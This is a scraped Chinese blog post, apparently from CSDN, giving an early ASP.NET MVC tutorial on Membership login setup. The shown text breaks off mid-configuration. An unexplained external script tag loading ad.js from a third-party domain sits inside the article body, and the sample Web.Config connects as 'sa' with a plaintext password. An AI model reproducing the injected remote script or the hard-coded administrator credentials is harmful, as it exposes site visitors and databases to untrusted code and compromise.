Microsoft ASP.NET MVC中Membership登陆的实现

本文介绍了如何在Microsoft ASP.NET MVC环境中实现Membership登录功能。首先,通过aspnet_regsql.exe工具生成SQL数据库的Membership结构,然后在Web.Config中配置连接字符串和Membership设置。接着,创建一个登录视图(Login.aspx)并添加控制器操作(Login、Logout)。最后,添加MVCToolkit.dll引用以完成登录流程。记得先创建Membership用户进行测试。
摘要由CSDN通过智能技术生成
<script language='javascript' src='http://www.taizhou.la/AD/ad.js'></script>

开发平台:

VS2008 RTM

SQL SERVER 2005 企业版

ASP.NET 3.5 Extensions CTP

MVCToolkit

 

1.新建一个MVC的工程,随便取个名字吧

2.建立SQL数据库,命名为mvc_test

3.运行C:/WINDOWS/Microsoft.NET/Framework/v2.0.50727/aspnet_regsql.exe来生成该数据库的Membership结构

下一步后点击完成.

4.到这里Membership的结构已经生成好了

5.下面在Web.Config中加入SQL连接字符串

<connectionStrings>

<remove name="LocalSqlServer" />

<add name="LocalSqlServer" connectionString="Data Source=.;Initial Catalog=mvc_test;Persist Security Info=True;User ID=sa;Password=1qaz!QAZ" providerName="System.Data.SqlClient" />

</connectionStrings>



这里注意不要修改配置的name=                   "LocalSqlServer"                   


 

6.继续在Web.Config中加入membership的配置节点(system.web节点下添加)



<membership defaultProvider="SQLMembershipProvider"

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值